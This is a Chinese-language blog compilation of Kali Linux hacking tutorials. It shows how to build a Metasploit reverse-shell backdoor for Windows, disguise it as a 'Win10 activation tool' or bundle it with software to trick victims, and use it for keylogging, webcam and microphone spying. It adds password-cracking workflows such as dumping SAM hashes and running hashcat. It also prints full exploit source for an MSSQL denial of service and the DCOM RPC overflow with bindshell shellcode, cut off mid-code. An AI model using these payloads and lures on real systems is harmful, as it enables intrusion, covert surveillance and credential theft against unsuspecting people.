Kali利用msf渗透Windows电脑(超详细)
前言
最近整理了一些 奇安信华为深信服大佬 的课件资料+大厂面试课题,想要的可以私信自取, 无偿赠送 给粉丝朋友~
msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
演示环境
使用Kali 2021.3进行演示操作
目标靶机: Win10专业版
软件:msfvenom、msfconsole(Kali系统内置)
1.进入管理员模式
命令: sudo su
解释: 不在管理员模式下运行可能会有权限不够的提示,为了避免命令执行失败,在管理员下运行以下命令
命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=本地ip LPORT=本地端口号 –f exe –o 文件名.exe
解释: 本地ip写自己Kali的IP地址,用ifconfig就能查看自己Kali的IP地址
本地端口自己随便设置一个没有被占用的端口号,如果端口号被占用那么文件会生成失败,换一个端口号就性
文件名可以随便写自己喜欢的名字,比如写Win10激活工具,可能更容易让目标主机上钩
当然MSF也可以用来渗透手机、mac、Linux等
接下来运行命令生成文件
默认生成的文件在根目录下
把刚才生成的文件放到目标靶机Win10系统中
命令: msfconsole
(1)命令: use exploit/multi/handler(选择模块)
(2)命令: set payload windows/meterpreter/reverse_tcp(选择攻击模块)
(3)命令: set LhOST 192.168.32.1(填写自己主机的IP地址)
(4)命令: set lport 1111(填写刚才生成文件时的端口号)
(5)命令: show options(查看设置参数)
(6)命令: exploit -z -j(后台执行)
我们这里也可以把这个程序伪装一下,把他的图标改一下,或者把它捆绑在某些软件上面,当用户打开就自动安装到对方电脑上面
(1)命令: sessions (查看上钩的用户)
(2)命令: sessions -i 1 (选择需要攻击的用户,这里选择第 1 个
命令: run vnc -i
cmd指令:
cat 读取文件内容到屏幕
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
下载 下载文件或目录
编辑 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 创建目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
pkill 按名称终止进程
keyscan_start 开始捕获击键(开始键盘记录)
keyscan_dump 转储按键缓冲(下载键盘记录)
keyscan_stop 停止捕获击键(停止键盘记录)
record_mic X秒从默认的麦克风record_mic音频记录(音频录制)
webcam_chat 开始视频聊天(视频,对方会有弹窗)
webcam_list 单摄像头(查看摄像头列表)
webcam_snap 采取快照从指定的摄像头(摄像头拍摄一张照片)
webcam_stream 播放视频流从指定的摄像头(开启摄像头监控)
enumdesktops 列出所有可访问的桌面和窗口站(窗体列表)
getdesktop 得到当前的Meterpreter桌面
reboot 重新启动远程计算机
shutdown 关闭远程计算机
shell 放入系统命令 shell
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的屏幕截图
setdesktop 更改 Meterpreters 当前桌面
uictl 控制一些用户界面组件
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出 *** 摄像头
webcam_snap 从指定的 *** 摄像头拍摄快照
webcam_stream 播放来自指定 *** 摄像头的视频流
play 在目标系统上播放波形音频文件 (.wav)
getsystem 尝试将您的权限提升到本地系统的权限
execute -f notepad 打开记事本
————————————————
原文链接:
*** 安全干货知识分享 - Kali Linux渗透测试 106 离线密码破解
前言
最近整理了一些 奇安信华为大佬 的课件资料+大厂面试课题,想要的可以私信自取, 无偿赠送 给粉丝朋友~
1. 密码破解简介
1. 思路
目标系统实施了强安全措施
安装了所有补丁
无任何已知漏洞
无应用层漏洞
攻击面最小化
社会 工程学
获取目标系统用户身份
非授权用户不受信,认证用户可以访问守信资源
已知用户账号权限首先,需要提权
不会触发系统报警
2. 身份认证 ***
证明你是你声称你是的那个人
你知道什么(账号密码、pin、passphrase)
你有什么(令牌、token、key、证书、密宝、手机)
你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)
以上 *** 结合使用
基于互联网的身份验证仍以账号密码为主要形式
3. 密码破解 ***
人工猜解
垃圾桶工具
被动信息收集
基于字典暴力破解(主流)
键盘空间字符爆破
字典
保存有用户名和密码的文本文件
/usr/share/wordlist
/usr/share/wfuzz/wordlist
/usr/share/seclists
4. 字典
1. 简介
键盘空间字符爆破
全键盘空间字符
部分键盘空间字符(基于规则)
数字、小写字母、大写字符、符号、空格、瑞典字符、高位 ASCII 码
2. crunch 创建密码字典
无重复字符
crunch 1 1 -p 1234567890 | more
1
必须是最后一个参数
更大、最小字符长度失效,但必须存在
与 -s 参数不兼容(-s 指定起始字符串)
crunch 4 4 0123456789 -s 9990
读取文件中每行内容作为基本字符生成字典
crunch 1 1 -q read.txt
1
字典组成规则
crunch 6 6 -t @,%%^^ | more
-t:按位进行生成密码字典
@:小写字母 lalpha
,:大写字母 ualpha
%:数字 numeric
^:符号 symbols
输出文件压缩
root@kali:~# crunch 4 5 -p dog cat bird
1
-z:指定压缩格式
其他压缩格式:gzip、bzip2、lzma
7z压缩比率更大
指定字符集
root@kali:~# crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o w.txt -t @d@@ -s cdab
1
随机组合
root@kali:~# crunch 4 5 -p dog cat bird
1
crunch 5 5 abc DEF + !@# -t ,@^%,
在小写字符中使用abc范围,大写字符使用 DEF 范围,数字使用占位符,符号使用!@#
占位符
转义符(空格、符号)
占位符
root@kali:~# crunch 5 5 -t ddd%% -p dog cat bird
1
任何不同于 -p 参数指定的值都是占位符
指定特例
root@kali:~# crunch 5 5 -d 2@ -t @@@%%
1
2@:不超过两个连续相同字符
组合应用
crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
crunch 10 10 12345 –stdout | airolib-ng testdb -import passwd -
3. CUPP 按个人信息生成其专属的密码字典
CUPP:Common User Password Profiler
git clone
python cupp.py -i
4. cewl 通过收集网站信息生成字典
cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt
-m:最小单词长度
-d:爬网深度
-e:收集包含email地址信息
-c:每个单词出现次数
支持基本、摘要 身份认证
支持 ***
5. 用户密码变型
基于 cewl 的结果进行密码变型
末尾增加数字串
字母大小写变化
字母与符号互相转换
字母与数字互相转换
P@$w0rd
6. 使用 John the Ripper 配置文件实现密码动态变型
2. 在线密码破解
1. hydra
简介
密码破解
Windows 密码破解
Linux 密码破解
其他服务密码破解
图形化界面
xhydra
HTTP表单身份认证
密码破解效率
密码复杂度(字典命中率)
带宽、协议、服务器性能、客户端性能
锁定阈值
单位时间更大登陆请求次数
Hydra 的缺点
稳定性差,程序时常崩溃
速度控制不好,容易触发服务屏蔽或锁死机制
每主机新建进程,每服务新建实例
大量目标破解时性能差
2. pw-inspector
Hydra 小工具 pw-inspector
按长度和字符集筛选字典
pw-inspector -i /usr/share/wordlists/nmap.lst -o p1.lst -l
pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u
pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u -m 3 -M 5
3. medusa
Medusa 的特点
稳定性好
速度控制得当
基于线程
支持模块少于hydra(不支持RDP)
WEB-Form 支持存在缺陷
查看支持的模块
参数
-n:非默认端口
-s:使用SSL连接
-T:并发主机数
medusa -M ftp -q
3. 离线密码破解
1. 简介
身份认证
禁止明文传输密码
每次认证使用HASH算法加密密码传输(HASH算法加密容易、解密困难)
服务器端用户数据库应加盐加密保存
破解思路
嗅探获取密码HASH
利用漏洞登陆服务器并从用户数据库获取密码HASH
识别HASH类型
长度、字符集
利用离线破解工具碰撞密码HASH
优势
离线不会触发密码锁定机制
不会产生大量登陆失败日志引起管理员注意
2. HASH 识别工具
1. hash-identifier
进行 hash 计算
结果:5f4dcc3b5aa765d61d8327deb882cf99
进行 hash 识别
2. hashid
可能识别错误或无法识别
3. HASH 密码获取
1. samdump2
Windows HASH 获取工具
利用漏洞:Pwdump、fgdump、 mimikatz、wce
物理接触:samdump2
将待攻击主机关机
使用 Kali ISO 在线启动此主机
发现此 windows 机器安装有两块硬盘
mount /dev/sda1 /mnt
将硬盘挂载
cd /mnt/Windows/System32/config
切换目录
samdump2 SYSTEM SAM -o sam.hash
导出密码
利用 nc 传输 HASH
HASH 值:31d6cfe0d16ae931b73c59d7e0c089c0
2. syskey 工具进行密码加密
使用 syskey 进行加密(会对 SAM 数据库进行加密)
重启需要输入密码才能进一步登录
使用 kali iso live
获取到 hash 值
hashcat 很难破解
使用 bkhive 破解
使用 Bootkey 利用RC4算法加密 SAM 数据库
Bootkey 保存于 SYSTEM 文件中
bkhive
从 SYSTEM 文件中提取 bootkey
Kali 2.0 抛弃了 bkhive
编译安装 :
在windows的 kali live 模式下,运行
samdump2 SAM key (版本已更新,不再支持此功能)
建议使用 Kali 1.x
1. Hashcat
简介
开源多线程密码破解工具
支持80多种加密算法破解
基于CPU的计算能力破解
六种模式 (-a 0)
0 Straight:字典破解
1 Combination:将字典中密码进行组合(1 2 11 22 12 21)
2 Toggle case:尝试字典中所有密码的大小写字母组合
3 Brute force:指定字符集(或全部字符集)所有组合
4 Permutation:字典中密码的全部字符置换组合(12 21)
5 Table-lookup:程序为字典中所有密码自动生成掩码
命令
hashcat -b
hashcat -m 100 hash.txt pass.lst
hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d
结果:hashcat.pot
hashcat -m 100 -a 3 hash -i –increment-min 6 –increment-max 8 ?l?l?l?l?l?l?l?l
掩码动态生成字典
使用
生成文件
计算 hash 类型
结果 MD5
查看 MD5 代表的值
进行破解
2. oclhashcat
简介
号称世界上最快、唯一的基于GPGPU的密码破解软件
免费开源、支持多平台、支持分布式、150+hash算法
硬件支持
虚拟机中无法使用
支持 CUDA 技术的Nvidia显卡
支持 OpenCL 技术的AMD显卡
安装相应的驱动
限制
更大密码长度 55 字符
使用Unicode的更大密码长度 27 字符
关于版本
oclHashcat-plus、oclHashcat-lite 已经合并为 oclhashcat
命令
3. RainbowCrack
简介
基于时间记忆权衡技术生成彩虹表
提前计算密码的HASH值,通过比对HASH值破解密码
计算HASH的速度很慢,修改版支持CUDA GPU
彩虹表
密码明文、HASH值、HASH算法、字符集、明文长度范围
KALI 中包含的 RainbowCrack 工具
rtgen:预计算,生成彩虹表,时的阶段
rtsort:对 rtgen 生成的彩虹表行排序
rcrack:查找彩虹表破解密码
以上命令必须顺序使用
rtgen
LanMan、NTLM、MD2、MD4、MD5、SHA1、SHA256、RIPEMD160
rtgen md5 loweralpha 1 5 0 10000 10000 0
计算彩虹表时间可能很长
下载彩虹表
彩虹表排序
/usr/share/rainbowcrack
rtsort /md5_loweralpha#1-5_0_1000x1000_0.rt
密码破解
r crack *.rt -h 5d41402abc4b2a76b9719d911017c592
rcrack *.rt -l hash.txt
4. John
简介
基于 CPU
支持众多服务应用的加密破解
支持某些对称加密算法破解
模式
Wordlist:基于规则的字典破解
Single crack:默认被首先执行,使用Login/GECOS信息尝试破解
Incremental:所有或指定字符集的暴力破解
External:需要在主配配文件中用C语言子集编程
默认破解模式
Single、wordlist、incremental
主配置文件中指定默认wordlist
破解Linux系统账号密码
破解windows密码
Johnny 图形化界面的john
5. ophcrack
简介
基于彩虹表的LM、NTLM密码破解软件
彩虹表:
利用kali查找网站漏洞教学
Searchsploit
本文来自
Searchsploit会通过本地的exploit-db, 查找软件漏洞信息
打开kali的命令行, 输入:
searchsploit
查看系统帮助
查找mssql的漏洞
如果要查找 mssql的漏洞, 命令如下, 会找到所有和mssql相关的漏洞信息, 后面还有相关的漏洞描述信息:
searchsploit mssql
要看相关的漏洞描述, 如果要看mysql7.0的远程DOS漏洞 , 把漏洞描述后面的路径用编辑器打开即可:
leafpad /usr/share/exploitdb/platforms/./windows/dos/562.c
文本文件里面的内容为漏洞说明文件和漏洞利用文件:
/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
* By sending a large buffer with specified data an attacker can stop
the service
* "mssqlserver" the error noticed is different according to services'
pack but the result is always
* the same one.
* Exception Codes = c0000005
* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3
* This code is for educational purposes, I am not responsible for your acts
* Greets: *** 0g DEADm|x #crack.fr itmaroc and evryone who I forgot */ #include stdio.h
#include winsock.h
#pragma comment(lib,"ws2_32")
u_long resolv(char*);
void main(int argc, char **argv) {
WSADATA WinsockData;
SOCKET s; int i; struct sockaddr_in vulh; char buffer[700000]; for(i=0;i700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16); if (argc!=3) {
printf(" MSSQL denial of service\n");
printf(" by securma massine\n");
printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
responsable des degats que vous pouvez en faire\n");
printf("Syntaxe: MSSQLdos ip port\n");
exit(1);
}
WSAStartup(0x101,WinsockData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZeroMemory(vulh,sizeof(vulh));
vulh.sin_family=AF_INET;
vulh.sin_addr.s_addr=resolv(argv[1]);
vulh.sin_port=htons(atoi(argv[2])); if (connect(s,(struct sockaddr*)vulh,sizeof(vulh))==SOCKET_ERROR) {
printf("Impossible de se connecter...le port est en generale 1433...\n");
exit(1);
}
{
send(s,buffer,sizeof(buffer),0);
printf("Data envoyes...\n");
}
printf("\nattendez quelques secondes et verifiez que le serveur ne
repond plus.\n");
closesocket(s);
WSACleanup();
}
u_long resolv(char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) {
printf ("Erreur DNS : Impossible de résoudre l'adresse %s
!!!\n",host_name);
exit(1);
}
CopyMemory((char *)addr.s_addr,host_ent-h_addr,host_ent-h_length);
} return addr.s_addr;
} // milw0rm.com [2004-09-29] View Code
查找和window XP有关的漏洞
searchsploit /xp
查看漏洞利用文件:
leafpad /usr/share/exploitdb/platforms/./windows/remote/66.c
/*
DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus's Code
Written by H D Moore hdm [at] metasploit.com
- Usage: ./dcom Target ID Target IP
- Targets:
- 0 Windows 2000 SP0 (english)
- 1 Windows 2000 SP1 (english)
- 2 Windows 2000 SP2 (english)
- 3 Windows 2000 SP3 (english)
- 4 Windows 2000 SP4 (english)
- 5 Windows XP SP0 (english)
- 6 Windows XP SP1 (english)
*/ #include stdio.h #include stdlib.h #include error.h #include sys/types.h #include sys/socket.h #include netinet/in.h #include arpa/inet.h #include unistd.h #include netdb.h #include fcntl.h #include unistd.h unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; unsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; unsigned char request3[]={ 0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; unsigned char *targets [] =
{ "Windows 2000 SP0 (english)", "Windows 2000 SP1 (english)", "Windows 2000 SP2 (english)", "Windows 2000 SP3 (english)", "Windows 2000 SP4 (english)", "Windows XP SP0 (english)", "Windows XP SP1 (english)", NULL }; unsigned long offsets [] =
{ 0x77e81674, 0x77e829ec, 0x77e824b5, 0x77e8367a, 0x77f92a9b, 0x77e9afe3, 0x77e626ba,
}; unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x46\x00\x58\x00" "\xff\xff\xff\xff" /* return address */ "\xcc\xe0\xfd\x7f" /* primary thread data block */ "\xcc\xe0\xfd\x7f" /* primary thread data block */ /* port 4444 bindshell */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81" "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04"; unsigned char request4[]={ 0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; /* ripped from TESO code */ void shell (int sock) { int l; char buf[512];
fd_set rfds; while (1) {
FD_SET (0, rfds);
